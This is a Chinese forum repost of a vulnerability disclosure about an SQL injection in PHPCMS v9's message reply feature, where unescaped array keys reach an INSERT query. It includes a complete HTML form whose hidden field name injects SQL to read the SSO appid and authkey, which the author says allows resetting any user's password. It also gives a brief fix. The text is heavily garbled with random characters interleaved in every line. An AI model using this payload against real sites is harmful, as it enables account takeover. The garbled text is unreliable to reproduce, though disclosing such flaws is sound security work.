|
|
简要描述:
! f$ w2 p0 f" _) C' r7 g) G
% r' s# P$ [( K: g J! ~$ J, M第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。, \7 [8 u J6 f& L6 Y
1 K7 W8 {" {" B6 q1 U. \
明天再更新下一个漏洞。
/ Z. e( H4 M, b! Q% M1 I; h" C详细说明:
0 {/ `1 h3 ?& r/ y8 d在/phpcms9/phpcms/modules/message/index.php中有代码如下:
1 R% p* \/ x7 k- K2 m$ D8 h, ?6 h9 V5 Y% ?, [) w7 t- z5 [
$messageid = $this->message_db->insert($_POST['info'],true);
4 O Y8 B" a7 G
, f$ V7 H9 W$ [3 M" W! Z# ]
3 Q: v2 i; K4 \insert方法是key value的,代码如下:; z1 x3 @: m. F+ N2 p V: B
# @! c/ Q4 d# M8 X) Ipublic function insert($data, $table, $return_insert_id = false, $replace = false) {5 Y# g2 y1 f) @7 {
if(!is_array( $data ) || $table == '' || count($data) == 0) {
$ J/ S- T) O: {6 ^! J3 n return false;2 L9 x' S2 T" }' H% D
}6 ?- j- I- x: q4 m$ M
0 V% \/ |7 I0 I/ b' {) N% K
$fielddata = array_keys($data);
( ?. E, P3 V+ {. T' c+ B $valuedata = array_values($data);
9 w1 m% Y4 }. M2 @9 O+ t) M, o array_walk($fielddata, array($this, 'add_special_char'));$ o" i5 s& D5 {
array_walk($valuedata, array($this, 'escape_string'));8 \5 e, D/ ?/ U3 \2 x
# _ d z; b, t$ l2 ?* S $field = implode (',', $fielddata);
" ~6 n# Q0 e/ C0 C' t9 X $value = implode (',', $valuedata);
. x; ^$ i/ B& \" o2 p$ Y
8 e6 c) O3 y* k7 n6 p- n, e $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';& e, W/ C: O B4 P! m% s
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';0 m) b9 R$ e. }# M N; k2 N
$return = $this->execute($sql);& X5 a M9 a% E
return $return_insert_id ? $this->insert_id() : $return;2 l8 b8 o- \+ ^9 P. v1 p1 m
}% V% \$ g0 Y: m, ]1 \
# O' Y, N: p, L# N7 ]
# h8 a+ ~: ^: ]8 V: _- c嗯,很遗憾的是* g! b" d" ?* T% y7 u) R9 G
1 ^+ ~; t. |! T. C5 p
array_walk($fielddata, array($this, 'add_special_char'));
9 a# c) m5 e9 `# w( I, q/ r9 `3 h$ F% z8 {$ d2 O9 O
8 L8 s4 N W6 Y8 b中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
, k$ \$ v. A p- W
. ]" E6 q" C8 ?* f到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。' f K/ G) E& ~4 O1 ?' H8 ?. J1 t
+ n2 c" i% I1 k! u! R& ]
漏洞证明:
9 E/ E# T5 e9 {1 y* f6 e读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。. V, Y$ N2 {0 R+ H
U' J1 Y5 D1 X3 l. g; C
- J8 o0 d1 S& ?) s/ q6 e' A表单如下:用户名什么的得自己改一改。) e4 s0 f% D4 w2 S( {0 A7 `- {
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
, V5 q: X6 E# b; y* s) U& m. B<table width="100%" cellspacing="0" class="table_form">
6 P( z* G1 x4 r. Z! v9 f& u) ?/ o<tr>
" ?! s) V, s* j<th>标 题:</th>4 ]2 c7 d8 ?* L: s/ M
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
2 t j4 b% t' l</tr> ! k. M% d, V; F; Y
<tr>) W( u9 M1 _- Z
<th>内 容:</th>
; O# Y0 L7 S+ @8 ~<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>1 M2 L& O+ q2 D, t0 @) u1 l
</tr>* @" r8 U$ T9 ^" z4 s
<input type="hidden" name="info[replyid]" value="2" /> + u+ k5 y9 N* S. ]& R6 H# J
<input type="hidden" name="info[send_to_id]" value="cc" />
/ L# h# l6 T: ~8 y, [* S4 Q! }<input type="hidden" name="info[send_from_id]" value="hh">* ~, o" g& r ^( g+ H! \
<!-- 漏洞的利用重点在这里开始 -->
( n% c" l% k$ {& D$ M a! {<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
8 m: j' u( \: A( A, U<!-- 漏洞的利用重点在这里结束 --> }% I. J6 z" ]" F
<tr>6 G% u% \# [# K# v; ]" [% e
<th>验证码:</th>( `: w9 V& C1 C
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
6 m5 G! d4 a, H- D2 }. J. N</tr>% q4 ]& m& s/ S
<tr>9 A- I, \, \. D% e
<td></td>
* H S& X0 ~; O2 C* i<td colspan="2"><label>
! U, p; Z$ p+ R0 `! U- r6 n/ c1 M<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>9 O) }* h5 ^$ V/ Q: ~$ P* B
</label></td>, D6 o% |, o0 [
</tr>. q) j6 Y; m' a8 b* v- Y
</table>
0 ~' d/ S8 e" k+ L* _</form>
+ g$ N3 k6 w k6 h9 U8 H$ Q: S, d在add_special_char函数内对key做过滤就可以了。
+ i$ ` q1 @; }# o- B' Y9 s' ^# x0 e9 n% ^% t
8 t Z6 E' p: {8 a Q$ R! s3 @
X4 E2 L, E' l+ H. X |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|